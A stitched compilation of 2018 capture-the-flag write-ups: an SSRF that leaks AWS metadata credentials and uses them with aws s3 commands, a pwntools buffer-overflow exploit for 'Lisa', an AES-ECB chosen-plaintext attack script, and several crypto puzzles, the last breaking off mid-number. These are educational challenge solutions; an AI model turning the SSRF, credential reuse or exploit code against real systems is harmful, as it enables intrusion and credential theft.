Service](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html). This enables any EC2 instance to access a REST API running on `169.254.169.254`, which returns data about the instance itself.Hence, you would be able to leak stuff like Instance name, ID, credentials, etc. We obviously had a limited SSRF as of now due to file extension filter. But well, that doesn't stop us from redirecting what file server requests to our web-server to something else. I created a `.htaccess` in a separate directory ```AddType application/x-httpd-php .md``` and restarted the `apache` webserver. What this will do is it will execute markdown .md files as php files. So, I can apparently write some php code into `.md` and it will execute as just like any other php file if it's in same directory as of `.htaccess` So, my crafted markdown was ``` ``` Now, we submit our http://example.com/exploit/index.md to their webservice. Woot, we leaked the AWS credentials. ![](images/web400-2.PNG) ```json{ "Code" : "Success", "LastUpdated" : "2018-11-13T16:19:48Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIAS7BJMNVVZRKPTURL", "SecretAccessKey" : "U/SHZlLN6OLQ3AVWgdh2pWZ7lV1FEjKS5nR/wgBC", "Token" : "FQoGZXIvYXdzEOL//////////wEaDOYg2SnsRsw1VaCpSCK3AwYY/Z/TwdhJ9BLPuABqkX0EbzFsrRbChhTfXiEzdoTkLL/i2bEjQTdWjehr2BjiPzD1UhalvvRQqYBX+9sD4qoXmpc7KSCQ3UYZsdTfpRDWzu6KZjUxc8hVLwlHut5kI3d7HIxy3hN9UQkJENGrMRUWDAUbo6evPIHYI7H4gCmUUb7dbAxZGLFK0QCB7pRYiA2ND3Zs68h158Rp5TnLRA+/sH5PAoWctMsavIYt4EPQR3rvzjtvI+IG6uzWJnxi1a+fFZxbTbUTv3OpR/n3b09ZpMjmJxDA1VSzBzA/25/T2aVPMLjnI1LJsAKzQGvY8eyqJBmFAj67llxLXAbHqzVUcrf3jrH1eKP5no2nXsoc9dCXFPPMs3rSLGANk2H+5aYaQzIGWPbnUk4VNWWy3gVqz7+MMxSNi9EwB08dbxmtmEJ+f4gexmqZtGgW+wC9TKhMYhKBqQYNp7o6a7YRCIiJYRCz6K/uBE+J2Lnd4oYEQB/XpWzk4/+2EASIIle1wlHRNXTmKYYd1zCMrphNHtebI81GMAua/AJp9NMfhUZNd67PtPMhXTQ42cmNrm6cp1CsgcGSnpQoxvOr3wU=", "Expiration" : "2018-11-13T22:48:02Z" }``` Now, it's a cake-walk ```dcua@ubuntu:~/.aws$ export AWS_SESSION_TOKEN="FQoGZXIvYXdzEH8aDBRJgAqobBZNonIvaiK3AxU/YAzjrN2zoyIqHN/shiRZZiFGsK/gXDBoOuduCfhaa0NzF+USj3k8XgpC/SZ8D8cGt7mzWbTNRNhTLQxGb1SSJ0wTc2AedvcLpvnWBUquNi3CDm0G9pyZy2GUrUfVTBX4dqnPnKQAHwTh1vxtf/4wHW8T1l0DU8IMTYud8nyzZXmCgYyonLOGa+IW3Vu56nPce5e/iN9jVzV34BFNqJ71N5t8gkpd0t4jwV8fBtb+mRyCT7dNyFdl1jMSb8CtkU/OGzLW/n5qmWRMasEvhNHBWg8+CB5vt8XmJkvAFmkP91Iv3cmqfY7VWuXJ2VvHw3Z8K6uxkW6LV7xmiJRRwuUtrXVf/+KH+TzoNTi0V3sIKb/839MRDnfVd5V/Q7+q6TgSKyUa900EeEDizOTxQZIzRS1fQpjL1s3pwZ4ESqUCmYdLgBH96Swv8y7X9mWRKjPx0MXP4PLLrWrJHq54UqMVwtoun4GEezCJIiq7S5SoLMiIYbPnAqYubaWfvV2YPPnCJ1JUDQkwF42+UJxGGb65jKlz8k7P92w6wn0i2lnkcehGsO6omwkIWBFVSs2Niu1njwjIoU4okpOW3wU="dcua@ubuntu:~/.aws$ AWS_ACCESS_KEY_ID='ASIAS7BJMNVVYOPYAMR6' AWS_SECRET_ACCESS_KEY='U/SHZlLN6OLQ3AVWgdh2pWZ7lV1FEjKS5nR/wgBC' aws s3 ls s3://csaw-ctf2018-11-02 12:52:38 36 flagdcua@ubuntu:~/.aws$ AWS_ACCESS_KEY_ID='ASIAS7BJMNVVYOPYAMR6' AWS_SECRET_ACCESS_KEY='U/SHZlLN6OLQ3AVWgdh2pWZ7lV1FEjKS5nR/wgBC' aws s3 cp s3://csaw-ctf/flag ./flagdownload: s3://csaw-ctf/flag to ./flag dcua@ubuntu:~/.aws$ cat flag flag{SsRF_1s-c0oL_Ag4iN-w1th_cl0uDs}``` ##### flag{SsRF_1s-c0oL_Ag4iN-w1th_cl0uDs}
# TU CTF 2018 - Danger Zone ## DescriptionDifficulty: easyLegend says, this program was written by Kenny Loggins himself. ## Given files- [dangerzone.pyc](./dangerzone.pyc) ## SolutionThe `.pyc` extension indicates python compiled code. So let's decompile it using [uncompyle6](https://github.com/rocky/python-uncompyle6). ```import base64 def reverse(s): return s[::-1] def b32decode(s): return base64.b32decode(s) def reversePigLatin(s): return s[-1] + s[:-1] def rot13(s): return s.decode('rot13') def main(): print 'Something Something Danger Zone' return '=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ' if __name__ == '__main__': s = main() print s``` The string returned by the `main` function seems to be a reversed base64 string. Looking at the decompiled code, the first function in the file is `reverse`, the second one `b32decode`. First we conclude that it's actually base32 and not base64. But, more importantly, it seems that applying the functions in the same order as they appear on the file will decode the string. Let's give it a try and run: `rot13(reversePigLatin(b32decode(reverse('=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ'))))` This holds the flag! ``` TUCTF{r3d_l1n3_0v3rl04d}``` ## Code[danger_zone.py](./danger_zone.py)
# TU CTF 2018 - Jimmy's Crypto ## DescriptionYour nemesis, we'll call him Jimmy for brevity's sake, believes that he has finally outsmarted you in his secret messaging techniques.He's so confident that he even gave his source code. Show him where he went wrong! ## Given files- [secret](./secret)- [gen_ciphertext.py](./gen_ciphertext.py)- [flag](./flag) ## SolutionThe given python script does the following:- generate a random key- xor the flag with the key- xor the secret with the key- save the resulting string into `flag` and `secret` So we know what are the other two files we are given. The first and only working idea we had was to xor the two files. ```x = (flag ^ key) ^ (secret ^ key) = flag ^ secret``` Now we assumed that secret is some english text. So we tried to look at all indexes where `x ^ 'TUCTF{}'` gave us a valid sequence of characters. Hopefully there was only one answer: `42`. At this point we did not found any better solution than completing the two text in parallel, trying to give a sense to both of them. After a while, this gave us: ``` Secret: steal my secrets. If you are looking at this file, Flag: ~TUCTF{D0NT_US3_TH3_S4M3_K3Y_F0R_TH3_S4M3_M3SS4G3}~ ``` ## Code[flag.py](flag.py)
TUCTF 2018: AESential Lesson============================= ## Description Thought I'd give you an essential lesson to how you shouldn't get input for AES in ECB mode. nc 18.218.238.95 12345 The server run the python file `redacted.py` ```#!/usr/bin/env python2 from Crypto.Cipher import AES from select import select import sys INTRO = """Lol. You think you can steal my flag?I\'ll even encrypt your input for you,but you can\'t get my secrets! """ flag = "REDACTED" # TODO Redact this key = "REDACTED" # TODO Redact this if __name__ == '__main__': padc = 'REDACTED' #TODO Redact this assert (len(flag) == 32) and (len(key) == 32) cipher = AES.new(key, AES.MODE_ECB) sys.stdout.write(INTRO) sys.stdout.flush() while True: try: sys.stdout.write('Enter your text here: ') sys.stdout.flush() rlist, _, _ = select([sys.stdin], [], []) inp = '' if rlist: inp = sys.stdin.readline().rstrip('\n') plaintext = inp + flag l = len(plaintext) padl = (l // 32 + 1)*32 if l % 32 != 0 else 0 plaintext = plaintext.ljust(padl, padc) sys.stdout.write('Here\'s your encrypted text:\n{}\n\n'.format((cipher.encrypt(plaintext)).encode('hex'))) except KeyboardInterrupt: exit(0)``` ## Solution ### Analysis of the code * First of all we see that the challenge is based on AES in ECB mode. It is highly insecure when encrypting over multiple blocks. One of the reason is that we can differentiate text based of their ciphertext. This means that if we encrypt: block 1, block 2, block 3`aaaa....aaaa, bbbb....bbbb, aaaa....aaaa` the ciphertext of the block 1 will be equals to the one in the block 3. * In the code the flag size is constant to 32 characters, the exact size of a block. * We can concatenate text on the left side of the flag before encryption. * There is padding, and it is handled by adding the characted `padc` to the right size of the text until the text is a multiple of 32 characters (a block size). ### The attack The attack is a chosen plaintext attack. There is two steps needed to retreive the flag:* Find the value of `padc`* Char by char padding attack on the flag #### Find the value of `padc` In the next descriptions we renamed `padc` as `c`. When sending one single character "a" to the server, there will be 2 blocks of the form: `"a" + flag [0:31]` and `"}" + ccccccc..cccccc` So if we send `"}" + ccccc...cccccc + "a"`, there will be a 3rd block on the left with the exact same value as the rightmost block. Then it's trivial to determine the value of `c`, we send all the possible ascii character that could be `c` (max 256 requests). If the ciphertext of the leftmost block is the same as the one on the rightmost block, it means that it is the correct padding character! The code below achieved this results```#find the padding charfor i in range(64,256): char = chr(i) text = "}"+char * 31 send_text = text+"a" conn.sendline(send_text) conn.recvline() code = conn.recvline() c1, c2, c3 = code[:64], code[64:128], code[128:192] if(c1 == c3): paddingChar = char break conn.recvline()print("padding char is: "+paddingChar)``` The padding character was `_` #### Char by char padding attack on the flag Now that we know `padc`, we will try to retreive a character of the flag. This is the same idea as before, by trying to leak one unknown character at a time in the rightmost block. We put the same text on the leftmost block, and compare if the 2 ciphertexts are equals. (need max 256 requests / tries per unknown character). Let's show one example to find the character before the "}" of the flag. If we send `t+"}"+cccc....cccc+"aa"`, (`c` is the padding character) we will have these blocks: block 1, block 2, block 3`t+"}"+cccc....cccc, "aa" + flag[0:30], flag[31]+"}"+ccccccccccccc` Then we will just have to test all possible ascii characters for `t` and compare the ciphertexts of the block 1 and the block 3 if they are equals. Afterward we iterate to the next unknown character. The code below implement this attack```#find the flag char by charflag = ""for i in range(31): for j in range(32,127): char = chr(j) text = char + flag + paddingChar * (31-i) send_text = text+"a"+"a"*i conn.recvuntil(":") conn.sendline(send_text) conn.recvline() code = conn.recvline() c1, c2, c3 = code[:64], code[64:128], code[128:192] if(c1 == c3): flag = char + flag print(flag) break conn.recvline() print("The flag is: " + flag)``` ### Full Code The full code is available [here](https://github.com/ctf-epfl/writeups/blob/master/tuctf18/AESential%20Lesson/flag.py). ### Flag The flag is: `TUCTF{A3S_3CB_1S_VULN3R4BL3!!!!}`
# Lisa (PWN, 489) ### Task description Difficulty: medium-ishAyo, Johhny's got your take from the job.Go meet up with em' to claim your share.Oh, and stop asking to see the Mona Lisa alright. It's embarrassing https://tuctf.com/files/763181476bfb720d04c6c2253436fb03/lisa ### Solution First of all, let's run this binary to understand what it does. ```Here's your share: 0x57639160What? The Mona Lisa!Look, if you want somethin' from me, I'm gonna need somethin' from you alright...OkayyyyyyyyyyyyyyyyyUgh! You kiss your mother with that mouth?Huh????????``` When running normally, it outputs the address of some share and then asks for the user input twice.Now let's try to break it: ```Here's your share: 0x57ded160What? The Mona Lisa!Look, if you want somethin' from me, I'm gonna need somethin' from you alright...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUgh! You kiss your mother with that mouth?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault``` Okay, it seems that we can cause a segmentation fault. But where can we go with it? To answer this question, let's look at the decompiled code: ```cint lisa(){ // many lines of classical ascii-art system("/bin/cat ./flag"); // many more lines of classical ascii-art} ssize_t fail(void *buf){ puts("Ugh! You kiss your mother with that mouth?"); return read(0, buf, 29u);} int checkPass(){ int result; char buf; if ( doStrcmp(inp, (char *)pass) ) result = lisa(); else result = fail(&buf;; return result;} int main(){ char our_password; // [esp+0h] [ebp-34h] setvbuf(stdout, 0, 2, 20u); setvbuf(stdin, 0, 2, 20u); memset(&our_password, 0, 48u); pass = malloc(43u); printf("Here's your share: %p\n", pass); puts("What? The Mona Lisa!\nLook, if you want somethin' from me, I'm gonna need somethin' from you alright..."); read(0, &our_password, 0x30u); inp = &our_password; pfd = open("./password", 0); read(pfd, pass, 43u); checkPass(); return 0;} ``` As we've seen from experiments and as we see now from the source code, the program flow is pretty linear: 1. It fills memory dedicated to "our_password" variable with zeros and allocates space for the real password.2. It outputs the address of real password.3. It reads our password from stdin.4. It reads the real password from "./password".5. It compares both passwords and then: 1. If they are equal, it calls the lisa function. 2. Otherwise, it calls the fail function, which takes another user input and then goes up the stack to "return 0". What draws our attention here is the function lisa: if we call lisa, we will get the flag. But to do so, we must know the correct password, mustn't we?Well, it's hard to say when we look just at the source code. As we remember, we've succeeded to cause a segmentation fault. Let's do it again but this time with gdb. Having been given long input like 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', the program goes from "fail" back to "checkPass" and then tries to return to main. This is when something interesting happens: ```[----------------------------------registers-----------------------------------]EAX: 0x1d EBX: 0x56559000 --> 0x3ef0 ECX: 0xffffd314 ('a' <repeats 29 times>, "]UVfirst_input\n")EDX: 0x1d ESI: 0xf7fa7000 --> 0x1d5d8c EDI: 0x0 EBP: 0x61616161 ('aaaa')ESP: 0xffffd330 ("a]UVfirst_input\n")EIP: 0x56555801 (<checkPass+67>: ret)EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x565557fc <checkPass+62>: add esp,0x4 0x565557ff <checkPass+65>: nop 0x56555800 <checkPass+66>: leave => 0x56555801 <checkPass+67>: ret 0x56555802 <lisa>: push ebp 0x56555803 <lisa+1>: mov ebp,esp 0x56555805 <lisa+3>: push ebx 0x56555806 <lisa+4>: call 0x56555630 <__x86.get_pc_thunk.bx>[------------------------------------stack-------------------------------------]0000| 0xffffd330 ("a]UVfirst_input\n")0004| 0xffffd334 ("first_input\n")0008| 0xffffd338 ("t_input\n")0012| 0xffffd33c ("put\n")0016| 0xffffd340 --> 0x0 0020| 0xffffd344 --> 0x0 0024| 0xffffd348 --> 0x0 0028| 0xffffd34c --> 0x0 [------------------------------------------------------------------------------]Legend: code, data, rodata, value0x56555801 in checkPass ()gdb-peda$ x/xw 0xffffd3300xffffd330: 0x56555d61``` Next instruction to be executed is located at 0x56555d61 (example with randomization turned off). But if we check in disassembler, we will see that the instruction following "call checkPass" should be located at 0x56555d22. Code for 'a' is 0x61. 0x56555d22. 0x61. 0x56555d61. Hmm. If we remember that we are asked exactly 29 bytes in fail function, the reason for this result becomes clear on close examination of the stack layout: ```Before writing many 'a's into buffer in fail(): 0xffffd300: 0x0000001d 0x56559000 0xffffd32c 0x565557fc (start of buffer)->|----we can write here--------------------0xffffd310: 0xffffd314 0xffffd334 0xf7eb6bb0 0x56559000 -------------------------and here-------------------------0xffffd320: 0xf7fa7000 0x56555d1a 0x00000003 0xffffd368 |- (<- this byte we also can overwrite)0xffffd330: 0x56555d22 0x73726966 0x6e695f74 0x0a747570 After: 0xffffd300: 0x0000001d 0x56559000 0xffffd32c 0x565557fc |------overwritten------------------------0xffffd310: 0xffffd314 0x61616161 0x61616161 0x61616161 -----------------------overwritten------------------------0xffffd320: 0x61616161 0x61616161 0x61616161 0x61616161 |- (<- last byte of return address)0xffffd330: 0x56555d61 0x73726966 0x6e695f74 0x0a747570``` We have overwritten one byte of return address to the main function (at 0xffffd330)! Let's look at what's located next: ```gdb-peda$ x/s 0xffffd3340xffffd334: "first_input\n"``` It means that our first input follows just the return address to "main", one byte of which we can overwrite with our second input. The problem here is that by overwriting return address we cannot go to the lisa function because its address ends with something like "xx|xx|x8|02" while we are restricted to the addresses matching "xx|xx|xD|XX". Okay, now where shall we return? ```0x56555d01 <main+193>: lea eax,[ebx+0x40]0x56555d07 <main+199>: mov edx,DWORD PTR [eax]0x56555d09 <main+201>: lea eax,[ebx+0x48]0x56555d0f <main+207>: mov eax,DWORD PTR [eax]0x56555d11 <main+209>: push 0x2b / number of bytes to read0x56555d13 <main+211>: push edx / buffer to read into0x56555d14 <main+212>: push eax / fd to read from0x56555d15 <main+213>: call 0x56555550 <read@plt> / normally - reading the real password0x56555d1a <main+218>: add esp,0xc0x56555d1d <main+221>: call 0x565557be <checkPass>0x56555d22 <main+226>: mov eax,0x0 / normally - location to which we return from checkPass0x56555d27 <main+231>: mov ebx,DWORD PTR [ebp-0x4]0x56555d2a <main+234>: leave 0x56555d2b <main+235>: ret / maybe return here?``` My first guess was to return to the "ret" instruction of main, which, being followed by the actual address of lisa, will get us the flag. It works okay without randomization, but with it - no, it doesn't work. But if we return to the "call read" instruction, we can overwrite any memory (almost) with any bytes because we control the values following stored EIP at stack, which are going to be arguments for read(). ```c// from man pages for read()#include <unistd.h> ssize_t read(int fd, void *buf, size_t count);// read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.``` If we use the given address of real password as a second parameter and stdin (fd = 0) as a first parameter, we can overwrite real password and make it match our own first input, which is comprised of all the necessary parameters. It results in a successful comparison of both passwords and getting awarded with the flag. ```python# solution in python from pwn import *import reimport structimport time r = process('lisa')#r = remote('18.191.244.121', 12345)data = r.recvuntil('...\n')print datashare = int(re.findall(r'share: 0x(\w+)', data)[0],16) first_input = struct.pack('<I',0) # stdinfirst_input += struct.pack('<I',share) # address of real passwordfirst_input += struct.pack('<I',0x2b) # size of inputr.sendline(first_input) print r.recvuntil('mouth?\n')# overflowing last byte of checkPass return address (to main)second_input = '\x15' * 29r.send(second_input) # duplicating first input so that the two matchunintended_third_input = struct.pack('<I',0)unintended_third_input += struct.pack('<I',share)unintended_third_input += struct.pack('<I',0x2b)r.sendline(unintended_third_input) time.sleep(0.5)print r.recv()r.close() ``` Voila! (faked flag, yes) ```Here's your share: 0x58015160What? The Mona Lisa!Look, if you want somethin' from me, I'm gonna need somethin' from you alright... Ugh! You kiss your mother with that mouth? [*] Process './lisa' stopped with exit code -11 (SIGSEGV) (pid 2044)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>'''''' !!!!!!!!!! ?$$$$$$$$$$$$??$c`$$$$$$$$$$$?>' `!!!!!!!!! `?$$$$$$I7?"" ,$$$$$$$$$?>>' !!!!!!!!!. <>'' `!!!!!!!!! <i?$P"??$$r--"?"" ,$$$$h;>'' `!!!!!!!!! $$$hccccccccc= cc$$$$$$$>>' !!!!!!!! `?$$$$$$F"""" `"$$$$$>>>'' `!!!!!!! "?$$$$$cccccc$$$$??>>>>' !!!!!!> "$$$$$$$$$$$$$F>>>>'' `!!!!!! "$$$$$$$$???>''' !!!!!!> `""""" `!!!!!!; . `!!!!!!! ?h.!!!!!!!! $$c,!!!!!!!!> ?$$$h. .,c!!!!!!!!! $$$$$$$$$hc,.,,cc$$$$$!!!!!!!!! .,zcc$$$$$$$$$$$$$$$$$$$$$$!!!!!!!!! .z$$$$$$$$$$$$$$$$$$$$$$$$$$$$!!!!!!!!! ,d$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ .!!!!!!!!! ,d$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ !!!!!!!!!!! ,d$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ,!'!!!!!!!!> c$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$. !'!!!!!!'' ,d$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$> '!!!'' z$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$>!' ,$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$> .. z$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$' ;!!!!''` $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F ,;;!'`' .'' <$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$> ,;'`' ,; `$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F -' ,;!!' "?$$$$$$$$$$?$$$$$$$$$$$$$$$$$$$$$$$$$$F . ""??$$$?C3$$$$$$$$$$$$$$$$$$$$$$$$"" ;!''' !!! ;!!!!;, `"''""????$$$$$$$$$$$$$$$$"" ,;-'' ',! ;!!!!;,;, .. ' . ' ' !!' ,;!!! ;'`!!!!!!!!;!!!!!; . ```
# TU CTF 2018 - Never Ending Crypto Redux ## DescriptionThe challenge is back and stronger than ever!IT WILL NEVER END!! Good luck. You're gonna need it. nc 18.223.156.26 12345 ## SolutionThis challenge consists in a series of levels (from 0 to 7). For each level we can do one query, obtaining the ciphertext corresponding to our plaintext. Then we are given 50 ciphertext in sequence and we have to decode all of them in order to reach the next level. ### Level 0Just morse code. ### Level 1Morse code and [rot13](https://en.wikipedia.org/wiki/ROT13). ### Level 2This time the ciphertext is not valid morse code. Hopefully seeing it next to the ciphertext of `Level 0` pointed me in the correct direction: we had to replace `.` with `-` and vice versa (from now on I'll call this operation "flip"). Doing that we obtain the morse code. ### Level 3This was probably the trickiest level. Our plaintext is divide in three buffers based on modulo 3 of the character index. In other words, the indexes will be divided as below. ```a = 0, 3, 6, ...b = 1, 4, 7, ...c = 2, 5, 8, ...``` Then the three buffers are concatenated `a + b + c`. Let's call this operation "mix". To win this level we decode the morse and mix. ### Level 4We add rot13 to `level 3`, i.e. morse, mix and rot13. ### Level 5Again a combination of the previous levels: flip, morse, mix and rot13. ### Level 6Here some letters were encoded in the same one, which made me think the message was xor-ed with a key. Sending a bunch of `A` as plaintext gave me `TUCTFTUCTFTUCTF...` confirming my opinion: `TUCTF` is the key. Nevertheless, once decoded with the key we also have to apply rot13. ### Level 7This is the last level! `You're good! But are you good enoughto beat this FINAL CHALLENGE?!!!!` After a few trials it turns out this was a combination of all the previous challenges: flip, morse, mix, xor with `HAVEFUN`, rot13. ``` Congratulations on ending what was never ending! Here's your flag: TUCTF{CRYPT0_D03$NT_R34LLY_3V3R_3ND}``` ## Code[flag.py](./flag.py)
# Jimmy's Crypto > Your nemesis, we'll call him Jimmy for brevity's sake, believes that he has finally outsmarted you in his secret messaging techniques.He's so confident that he even gave his source code. >Show him where he went wrong! ## The source code We get the code that jimmy used. At first glance it's pretty unbreakable and also equally useless: take two strings, get the length of the longest, create a random key of that length and xor both messages with that key. The script uses ```random.randint(0,256)``` to select random chars. At first glance this is pretty much unbreakable. I first thought there might be an angle to exploit in the PRNG. However, while ```random``` is highly unrecommended for cryptography, the default seed being the system time, it still remains too unpredicatble. So there had to be another, better way. ## Xoring using the same key - why it's a bad idea Since xor is reversible, this is what happens: ```ciphertext1 = key ^ flag``````ciphertext2 = key ^ message``` Therefore ```ciphertext2 ^ ciphertext1 = key ^ message ^ key ^ flag = message ^ flag``` Now this means that the result of xoring the two ciphertext only yields characters that result when two printable characters are xored. Exploiting this property, we can perform a so-called cribdrag anaylsis. ## Crib-dragging I used [this repo](https://github.com/SpiderLabs/cribdrag). I knew ```TUCTF{``` was in the flag which showed me ```teal m``` in the secret. From there I worked my way back and ultimately got the flag!No captcha required for preview. Please, do not write just a link to original writeup here.# Jimmy's Crypto > Your nemesis, we'll call him Jimmy for brevity's sake, believes that he has finally outsmarted you in his secret messaging techniques.He's so confident that he even gave his source code. >Show him where he went wrong! ## The source code We get the code that jimmy used. At first glance it's pretty unbreakable and also equally useless: take two strings, get the length of the longest, create a random key of that length and xor both messages with that key. The script uses ```random.randint(0,256)``` to select random chars. At first glance this is pretty much unbreakable. I first thought there might be an angle to exploit in the PRNG. However, while ```random``` is highly unrecommended for cryptography, the default seed being the system time, it still remains too unpredicatble. So there had to be another, better way. ## Xoring using the same key - why it's a bad idea Since xor is reversible, this is what happens: ```ciphertext1 = key ^ flag``````ciphertext2 = key ^ message``` Therefore ```ciphertext2 ^ ciphertext1 = key ^ message ^ key ^ flag = message ^ flag``` Now this means that the result of xoring the two ciphertext only yields characters that result when two printable characters are xored. Exploiting this property, we can perform a so-called cribdrag anaylsis. ## Crib-dragging I used [this repo](https://github.com/SpiderLabs/cribdrag). I knew ```TUCTF{``` was in the flag which showed me ```teal m``` in the secret. From there I worked my way back and ultimately got the flag!
# John-Bull (141 points/ 29 solves) ## Problem statement: > John is looking for his intimate close friend! Find him for John!! ## My opinion: Funny enough, I solved this challenge in the subway, in my head after my phone died. The idea is pretty simple you just needed to pay attention to what was given to you. ## The problem: We are given a couple functions in python and some output: ```pythondef make_key(k): while True: r = getRandomInteger(k) << 2 p, q = r**2+r+1, r**2+3*r+1 if gmpy.is_prime(p) * gmpy.is_prime(q): break pubkey = r**6 + 5*r**5 + 10*r**4 + 13*r**3 + 10*r**2 + 5*r + 1 return pubkey def encrypt(m, pubkey): return pow(bytes_to_long(m), pubkey, pubkey) pubkey = 3415775651990117231114868059991823731694168391465118261123541073986397702947056759501589697018682285283905893102019391953165129250445987511496328390478214156138550568081360884795196720007402795178414072586445084589188812271144227913976270609786532206307549154139514246177504313696905220271023590900584622193476455815728425827517096143262953674043805121028581660274394493861460258597130188538332977679416970808454282017991307383835356188698891323239771333178860346825972405652914210954631134409600833327693593543421410732434281694454355747008933885889869077937880862749049074740126067215284910788706518425606114203333939656875871818894784079170292840540681948732880660003000926906333894065117345867196506856521542472349855590932301830372695420851264943795112040150205561483289746364835891125359307397506516272039186039783992620965800450343112765502550149168357851547665186618429181796721954012847077634388652598794182315250366936611355658686688939934516900009808518223359241944137277154786476218874224865037819222158865245588353031015122185374014406127446401298766736266831637852985756300017995390160761028057020573055543615912481389851812757348379419397130083208775789655825117981028241260930861007152057766814139170496584713321278626253968883276653358428036897577768739458725693447122759791961361097160265922640311146274535842798727318743122276126487545827596583971543880517021741131581309905790220398409615820785382645469996656013188425862658824568438227653902664968157149269346732859000330582545267782235066499139875211275390674091559851875853548905976806413521230016513322214240509217605309858575530246251875145909490471112222194075412324792050366838359937779806344187239056856471058353548936427916942194109609165854034767323294935701500110192365307711393371247166567444590592355257900093259599574780053937287600294098393324949090038950101enc = 172254401616728337848224556256193294668254066768665624620573955921904663415844987360305683044269987528418379305124320147209588306619600641931717574384801086412717165043339754089854945269488039157031822759552038220243667748187712406870604130874288848961422658181035116276222087495309539815379227353704980160563111860011813283093207521575802100014408033039719223557618408913808906098293389776713037943338000210957134248117986210892735617670398002934139712508431588063592442750666131635721232279579114412057382482634199793027886476451072132799009262126068858578298283046601000880559403008084425323306037979617803443696059413247270929031458924282241105950888791411422687779723342754994324724737283365077742875322607687106058784350376580745162809296384205316865766883773721914203935128431492247985755204159286761485776182149007712492892483933270120585324692872062057327390303613634093538988078627329297217605056348331910353384255935457914956221810806802338940927281542361188610818936740209620052730118914762676848436107226923154169182628394200511074094416135594725057729803618271672713265182266181460723433237689954353512385555171399460870707449024037962690482864822971633650492835486036834553508571232609988066578567702464349018675580536990329927725573108328721614238899767792645665535623446031410358844459259283846182131541439033837736746980370117933542817231688533759434901524622912254499686908606070397662874360407075300248727974071742299708009048853008697832021516188431289704110567432234451743516365186915321744582268642673156685090283640357282428092579506635927396169516769103184205482482269342855874163597222301484981530193824960936155581252590505096646005478378577133665334258562017564658379524993172647857018916805201682065829122503078635804169426240558643597061660475712949155431727872200202869508621492240387907991955060578185917725771```It's fairly simple to understand what's happening, a random `r` with a bitlength of `k+2` bits is chosen at random until both p and q are primes. That polynomial `pubkey` seems daunting at first, but after some tries we see that `pubkey = p**2 * q`. Now, we can define `f(x)=x**6 + 5*x**5 + 10*x**4 + 13*x**3 + 10*x**2 + 5*x + 1`. We know that `f(r) = pubkey` so we can define `g(x) = f(x) - pubkey` and now we have `g(r) = 0`. In order to find r we need to find a root of `g(x)` which is fairly simple to do. After we find r we can find p and q and `n = p**2*q`, at this point things start to get interesting.**NOTE1: I cheated and used sagemath but since g(x) is strictly increasing, r can be found using binary search.** **NOTE2: this is RSA but instead of n = p * q we have n = p * p * q so it works mostly the same.** We know that `m**n % n = enc`. We can't simply reverse this equation since `gcd(n, phi) = p` but we can do something that'll be useful later. Since `phi=p*(p-1)*(q-1)` that means that `gcd(q, phi) = 1` and therefore we can calculate `qinv = inverse(q,phi)` so we'll get `enc**qinv % n = m**(p**2) % n`. Now, actually p and q are both very big and probably the message is smaller than both of them so we can change the modulo in our equation from n to q `enc = m**(p**2) % q`.At this point you probably know how to get the flag, since q is prime `phi = q-1` and that means that `gcd(p**2,phi) = 1` so we can get our message. `pinv = inverse(p**2,phi)`, `m = enc**pinv % q`. ## The code: ```pythonpubkey = 3415775651990117231114868059991823731694168391465118261123541073986397702947056759501589697018682285283905893102019391953165129250445987511496328390478214156138550568081360884795196720007402795178414072586445084589188812271144227913976270609786532206307549154139514246177504313696905220271023590900584622193476455815728425827517096143262953674043805121028581660274394493861460258597130188538332977679416970808454282017991307383835356188698891323239771333178860346825972405652914210954631134409600833327693593543421410732434281694454355747008933885889869077937880862749049074740126067215284910788706518425606114203333939656875871818894784079170292840540681948732880660003000926906333894065117345867196506856521542472349855590932301830372695420851264943795112040150205561483289746364835891125359307397506516272039186039783992620965800450343112765502550149168357851547665186618429181796721954012847077634388652598794182315250366936611355658686688939934516900009808518223359241944137277154786476218874224865037819222158865245588353031015122185374014406127446401298766736266831637852985756300017995390160761028057020573055543615912481389851812757348379419397130083208775789655825117981028241260930861007152057766814139170496584713321278626253968883276653358428036897577768739458725693447122759791961361097160265922640311146274535842798727318743122276126487545827596583971543880517021741131581309905790220398409615820785382645469996656013188425862658824568438227653902664968157149269346732859000330582545267782235066499139875211275390674091559851875853548905976806413521230016513322214240509217605309858575530246251875145909490471112222194075412324792050366838359937779806344187239056856471058353548936427916942194109609165854034767323294935701500110192365307711393371247166567444590592355257900093259599574780053937287600294098393324949090038950101enc = 